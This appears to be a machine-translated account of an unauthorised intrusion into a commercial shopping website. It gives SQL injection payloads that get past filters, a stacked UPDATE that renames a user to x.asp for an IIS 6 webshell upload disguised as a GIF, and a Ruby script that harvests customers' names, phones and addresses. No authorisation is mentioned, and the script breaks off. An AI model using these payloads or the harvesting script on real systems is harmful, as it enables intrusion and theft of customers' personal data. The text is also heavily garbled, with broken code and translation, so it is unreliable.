Penetration Analysis of a commercial website

This penetration analysis is only for WEB systems, and other aspects are not directly accessible.
Platform: Windows 2003 MSSQL 2000 IIS 6.0 test layer: WEB Application-Mobile 2006
I am not familiar with Mobile 2006. Although I checked a lot of related vulnerability information through GOOGLE, these vulnerabilities have been released for years, I had to take a look at the overall structure of the WEB. I found through the home page that apart from registration and login there can be traces of ASP scripts, other addresses have been converted into static pages, so I registered a test account and logged on to the project, which contains some account information settings and order information. However, I did not find any obvious submission point that could cause the vulnerability in the account information settings, at this time, we need to change our thinking.
Re-view the Home Page. There is a search function in the upper part of the page. Therefore, a single quotation mark is immediately submitted. The test results are exciting. The results are as follows:
Microsoft ole db Provider for SQL Server Error 80040e14
The string order by Hits desc contains unclosed quotation marks.
/Shop/proclass. asp, row 629
This should not be a function that WEB developers have added themselves, or a 2006 feature. By the principle, a 2006 feature will not make stupid mistakes after so many ups and downs, this is just a guess. I have not downloaded the source code or read the code documentation to make a reasonable judgment.
However, in any case, this SQL injection point is a good sign. Since it is an injection point, you must test some basic SQL statements to see if you can obtain sensitive information, so I submitted 'and 1 = user --, and the result returned to the blank page, which is strange... Are there any filters? Use the rare 'having 1 = 1 -- with the returned results, but a syntax error is prompted, you can be sure that the WEB system is installed with a similar WAF or script filtering function, the search function uses POST to submit parameters. If you want to use the automatic tool, you have to capture packets and analyze the submitted parameters. Therefore, after obtaining the path and parameter information, try IE first. The results are disappointing. The GET method is more rigorous than the POST method. Even single quotes have been filtered and sweated... If an error is reported when running in both GET and POST modes in NBSI, it seems that the select were Syntax of this search function has some ulterior motives. Put it aside first.
Since there is this thing will also have one thing, please great GOOGLE help, site: xxx.com filetype: asp, good, there are a lot of ASP connections, where http://www.xxxx.com/Shop/ShowTrademark.asp? ChannelID = 100 & SpecialID = 4 this connection is the most eye-catching, put in IE, after SpecialID = 4 put a single quotation mark, return to the home page, % 100 certainly has the SQL Injection filter function, but don't forget that POST cannot be filtered out too strictly. Otherwise, the user will submit some content with special symbols. This is where I want to fill in, next, I used the JCZ injection tool. Why should I use it? Because the author is familiar with it, it provides a function to view DEBUG information and construct an SQL statement by myself, it can be imagined that the author wishes to use his tools more than just tools or principles.
In JCZ, the running result shows that the database connection account of the WEB application is SA permission, and supports basic information such as multiple statements, database names, and user names, however, an error occurs when the table name is tested. This indicates that the table is blocked by the filter function. What should I do ??? These basic information alone cannot be broken through.
Next, by checking the DEBUG information of JCZ and probably guessing which SQL statements are filtered out, we need to find a way to bypass the restriction. The RunSQL function of JCZ is a good attempt, A separate SELECT statement cannot be executed. Therefore, the uion select method is considered. The test result is satisfactory and the restriction is successfully bypassed. The constructor statement is as follows: /**/and/**/1 = 2/**/union % 20all select % ,,2, 3, password, 5, a, 7, 8, 9, 10, 11, B, 13 from PE_Admin-the construction process of this statement is a wave of twists and turns. First, the number of fields is not difficult, and it is purely physical, but pay attention to the type of several fields in the middle, if it does not match the type of the preceding SQL statement, an error will occur. In addition, there will be all after union. If it is not added, the following error will occur: the text, ntext, or image data type cannot be selected as distinct, which indicates that the restriction keyword of DISTINCT is used after the SELECT statement.
Syntax explanation: SQL SELECT DISTINCT statement, which may contain duplicate values in the table. This is not a problem. However, sometimes you may want to list only different values.
Keyword DISTINCT is used to return unique values. The difference between UNION and union all is that UNION filters out repeated records after table links are performed, therefore, after a table is linked, the generated result set is sorted, and repeated records are deleted before the results are returned.
Union all simply merges the two results and returns them. In this way, if duplicate data exists in the two returned result sets, the returned result sets will contain duplicate data. After understanding the syntax, it is easy to understand why union all is used, because the keywords DISTINCT and UNION both have the same function of getting duplicate values, coexistence will inevitably embarrass MSSQL :)
Now, I have obtained the username and password of the background Administrator through the above statement. Here, I use XXX to indicate the username and password, so I can log on to the background path. This is another difficulty, I have tried common path names and even used the path scanning tool to return without success. Why? Think for a long time. How can I put it down first ?! Let's take a look at the WEB bound to this IP address. It's a good luck. There are four WEB addresses, one of which is also easy to use. However, the observation page, which is different from xxx, I couldn't see the connection between registration and login at all, so I accessed the registration page and login page of this station through xxx's path information. Fortunately, after I registered and logged in, at the bottom of the page, I found the connection address managed by the backend. According to this address, I switched back to xxx to access the backend and BINGO. Originally, the WEB application of this server was maintained by the same person or organization.
However, I was delighted to open the background of xxx. When I logged on, I found that there was an administrator authentication code after the Password box. I thought it would not be a authentication code. I just needed to inject it again, however, by searching for the mobile document, this management authentication code is written to a fixed configuration file. Only Administrators can view and modify the code. A mountain suddenly appears in front of me.
After suffering, I thought about something else. Since I got the background path information through another site, can I get the administrator password of another site through xxx's injection path information? But when I visited, once again, I was deeply attacked. The result is as follows: Sorry, your server does not have any dynamic components (PE_Common6.dll), so you cannot use a dynamic system. Please contact your space provider to install the dynamic and easy components.
It cannot be said that there is no gain at all. At least I know that this injection point is caused by a component that is 2006 easy to use!
I think it is best to execute the UPDATE statement in addition to the SELECT statement, because the fact is that on WINDOWS 2003, IIS6.0, if the WEB path is named X. ASP, all types of files under this path will be parsed as ASP scripts, and I checked the vulnerability 2006. The main point of the vulnerability is that when the user name is registered, no special character points are filtered. As a result, an X. ASP user name, and then access user/Upload. asp? Dialogtype = UserBlogPic & size = 5. You can upload files of the allowed extension type, but the content can be an ASP-type WEBSHELL. After the upload is successful, check the source code, you can find the path of the uploaded file.

This fact is still quite long, but I have already installed a patch for this mobile app 2006. Only letters and numbers can be used as user names to register successfully, however, if I can UPDATE my User Name X. can ASP achieve the goal? This is called indirect implementation of old vulnerabilities. Haha, But I constructed the statement for the first time :; update/**/PE_USER/**/set/**/username = x. asp where userid = xxx-after the request is submitted, no content is returned by HTTP and is filtered again. By testing the local MSSQL2000, the update keyword cannot be split. If EXE (@ SQL) is used ), then, use hexadecimal encryption in @ SQL to filter essential elements such as declare, cast, and varchar, what if I add/**/Before update? The second statement is constructed :; /**/update/**/PE_USER/**/set/**/username = x. asp where userid = xxxx-
Haha, something is returned. I believe it has been updated successfully. But after logging on to the account via email, I found that the user name is already x. asp, very good, I uploaded a very small WEBSHELL, in order to have a silly image verification mechanism, add GIF89a at the beginning, upload successful, view the source code, another Mountain appeared in front of me. The path is x. asp, but there are actually five digits behind it. After a closer look, it is exactly my userid, which breaks down what I originally thought through x. the idea of executing WEBSHELL in asp is introduced. I admire the developers who are easy to use. For program security, many security mechanisms are added, the following code obtains sensitive information of all order users through injection points:
Test code Httpsql. rb:
Code: [Copy to clipboard]
Require uri
Require net/http
Require socket
Require iconv

Class Httpsql
Def initialize (url)
@ Url = url
@ Uri = URI. parse (@ url)
@ I = 5
End

Def Postsql (sqlstr, userid, startid = 1)
Http = Net: HTTP. new (@ uri. host, @ uri. port)
Headers = {
Content-Type => application/x-www-form-urlencoded
}

(Startid .. userid. to_ I). step (1) do | id |
Print "#" + id. to_s
Params_1 = sprintf (sqlstr, "Username", "ContacterName", id)
Params_2 = sprintf (sqlstr, "Mobile", "Phone", id)
Params_3 = sprintf (sqlstr, "ZipCode", "Address", id)
Begin
Resp_1 = http. post (@ uri. path, params_1, headers)
Self. wirtelog (resp_1, "1 ")
Resp_2 = http. post (@ uri. path, params_2, headers)
Self. wirtelog (resp_2, "2 ")
Resp_3 = http. post (@ uri. path, params_3, headers)
Self. wirtelog (resp_3, "3 ")
Rescue
@ I + = 1
Sleep (@ I );
Retry
End
Sleep (@ I );
End
End

Def wirtelog (resp, flag)
# Puts resp. body
File = File. new ("userinfo.txt", "")
If resp. body = ~ /^ <H1> (.*?) If flag = "1"
File. puts "================================================= ==================================="
File. puts "website Username:" + $1
Elsif flag = "2"
File. puts "mobile phone number:" + $1
Else
File. puts "zip code:" + $1
End
End
If resp. body = ~ /<P> (.*?) </P>/
If flag = "1"
File. puts "Real name:" + $1
Elsif flag = "2"
File. puts "landline:" + $1
Else
File. puts "contact address:" + $1
File. puts "================================================= ==================================="
End
End

File. clo